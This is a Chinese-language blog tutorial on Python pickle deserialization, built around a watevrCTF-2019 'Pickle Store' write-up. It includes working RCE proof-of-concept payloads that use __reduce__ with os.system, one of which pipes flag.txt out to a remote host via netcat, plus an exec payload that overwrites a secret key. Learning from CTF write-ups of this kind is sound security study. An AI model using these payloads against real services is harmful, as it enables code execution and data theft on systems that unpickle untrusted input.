从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

其本质是Pickling将Python对象层次结构转换为字节流的过程, unpickling是反向操作,从而将字节流(来自二进制文件或类似字节的对象)转换回对象层次结构。pickle模块对于错误或恶意构造的数据是不安全的。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,

pickle序列化对象
pickle.dump(obj,file,protocol = None,*,fix_imports = True )

在此处将obj对象的编码pickle编码表示写入到文件对象中

pickle反序列化对象
pickle.load(file)
关于cPickle

cPickle可以对任意一种类型的python对象进行序列化操作,比如list,dict,甚至是一个类的对象等。

关于pickle与cpickle的关系:cPickle – A faster pickle。

序列化:

>>> data_string = cPickle.dumps(data) //将python对象序列化保存到一个字符串变量中

反序列化:

>>> data = cPickle.loads(data_string)

一段理解样本:

#coding:utf-8
import pickle dict1 = dict(name='admin',
age=1000,
sex='?',
addr='japan',
)
# print(dict1)
data_dumps = pickle.dumps(dict1)
print(
data_dumps) print(type(data_dumps)) # <class 'bytes'>
data = pickle.loads(data_dumps) # 从字节对象中读取被封装的对象,并返回
print(data)

output:

b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x0c\xe5\x85\xab\xe5\xb2\x90\xe5\xa4\xa7\xe8\x9b\x87\x94\x8c\x03age\x94M\xe8\x03\x8c\x03sex\x94\x8c\x03\xef\xbc\x9f\x94\x8c\x04addr\x94\x8c\x05japan\x94u.'
<class 'bytes'>
{'name': 'admin', 'age': 1000, 'sex': '?', 'addr': 'japan'}

关于被序列化的数据的看法:

可以看一下此链接:

https://www.secshi.com/39791.html

[watevrCTF-2019]Pickle Store

这道题里就是python的反序列化了:

截取到session进行解密:

import pickle
import base64 result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)

output:

{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}

利用pickle及逆行序列化 poc:

import pickle as cPickle
import sys
import base64 COMMAND = sys.argv[1] class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,)) print base64.b64encode(cPickle.dumps(PickleRce()))

poc2:

import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc ip xxxx < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))
覆盖密钥
import pickle

key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("global key;key=b'66666666666666666666666666666666'",)) a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞的更多相关文章

  1. 从requests源码分析中学习python(一)

    v2ex同步更新:https://www.v2ex.com/t/500081 微信公众号:python学习开发 分析源码,看大神的代码是一种学习的好方法,让我从中学到很多以前不知道的知识,这次打算从大 ...

  2. pickle和cPickle:Python对象的序列化(上)

    https://segmentfault.com/a/1190000002493548 pickle模块实现了一种算法,将任意一个Python对象转化成一系列字节(byets).此过程也调用了seri ...

  3. (数据科学学习手札142)dill:Python中增强版的pickle

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 大家好我是费老师,相信不少读者朋友们都在Pyth ...

  4. python学习_应用pickle模块封装和拆封数据对象

    学习文件数据处理的时候了解到有pickle模块,查找官方文档学习了一些需要用到的pickle内容. 封装是一个将Python数据对象转化为字节流的过程,拆封是封装的逆操作,将字节文件或字节对象中的字节 ...

  5. Comprehensive learning path – Data Science in Python深入学习路径-使用python数据中学习

    http://blog.csdn.net/pipisorry/article/details/44245575 关于怎么学习python,并将python用于数据科学.数据分析.机器学习中的一篇非常好 ...

  6. Python中模块json与pickle的功能介绍

    json & pickle & shelve 1. json的序列化与反序列化 json的使用需要导入该模块,一般使用import json即可. json的序列化 方法1:json. ...

  7. python pickle模块的使用/将python数据对象序列化保存到文件中

    # Python 使用pickle/cPickle模块进行数据的序列化 """Python序列化的概念很简单.内存里面有一个数据结构, 你希望将它保存下来,重用,或者发送 ...

  8. Python:pickle模块学习

    1. pickle模块的作用 将字典.列表.字符串等对象进行持久化,存储到磁盘上,方便以后使用 2. pickle对象串行化 pickle模块将任意一个python对象转换成一系统字节的这个操作过程叫 ...

  9. python学习之文件读写,序列化(json,pickle,shelve)

    python基础 文件读写 凡是读写文件,所有格式类型都是字符串形式传输 只读模式(默认) r  f=open('a.txt','r')#文件不存在会报错 print(f.read())#获取到文件所 ...

随机推荐

  1. 用find命令删除某目录下及所有子目录中某类型的特定文件

    当前目录下含有多级子目录,并且每一个子目录下都含有多个文件,如何删除当前目录及所有子目录下特定类型的文件,比如:*.pyc(所有文件名以“*.pyc”结尾的文件): 可以使用find命令,将当前目录下 ...

  2. Spring Boot Jpa 多条件查询+排序+分页

    事情有点多,于是快一个月没写东西了,今天补上上次说的. JPA是Java Persistence API的简称,中文名Java持久层API,是JDK 5.0注解或XML描述对象-关系表的映射关系,并将 ...

  3. Java算法之根据二叉树不同遍历结果重建二叉树

    二叉树的遍历方式一般包括前序遍历.中序遍历以及后序遍历: 前序遍历:根结点 | 左子树 | 右子树 中序遍历:左子树 | 根结点 | 右子树 后序遍历:左子树 | 右子树 | 根结点 二叉树遍历的性质 ...

  4. 区块链入门到实战(27)之以太坊(Ethereum) – 智能合约开发

    智能合约的优点 与传统合同相比,智能合约有一些显著优点: 不需要中间人 费用低 代码就是规则 区块链网络中有多个备份,不用担心丢失 避免人工错误 无需信任,就可履行协议 匿名履行协议 以太坊(Ethe ...

  5. SQL分组排序后取每组最新一条数据的另一种思路

    在hibernate框架和mysql.oracle两种数据库兼容的项目中实现查询每个id最新更新的一条数据. 之前工作中一直用的mybatis+oracle数据库这种,一般写这类分组排序取每组最新一条 ...

  6. Bellman-Ford算法 例题:P3371 单源最短路径

    看到还没人用Bellman-Ford过,赶紧水一发 lz非常弱,求各位大佬轻喷qwq 洛谷题目传送门:P3371 0."松弛"操作 如果存在一条边\((u,v)\)通过中继的方式可 ...

  7. zero:seo优化的三部曲

    http://www.wocaoseo.com/thread-230-1-1.html 理解用户的需求.了解搜索引擎的原理.明白如何通过搜索引擎优化对网站产生价值,这是SEO学习中应该陆续深入的三个部 ...

  8. rtmp规范1.0全面指南

    RTMP(real time messaging protocol)协议 本文为Adobe rtmp规范1.0的中文介绍,其中内容大部分都是翻译自rtmp官方文档rtmp_specification_ ...

  9. HMM隐马尔可夫模型来龙去脉(二)

    目录 前言 预备知识 一.估计问题 1.问题推导 2.前向算法/后向算法 二.序列问题 1.问题推导 2.维特比算法 三.参数估计问题 1.问题推导 2.期望最大化算法(前向后向算法) 总结 前言 H ...

  10. 推荐一款强大的前端CLI命令行工具

    背景 命令行界面交互开源工具 CloudBase CLI 自发布以来,受到了大量开发者的欢迎.近期,我们发布了新鲜打磨的 CloudBase CLI 1.0 Beta,引入了许多利于开发者的新特性,下 ...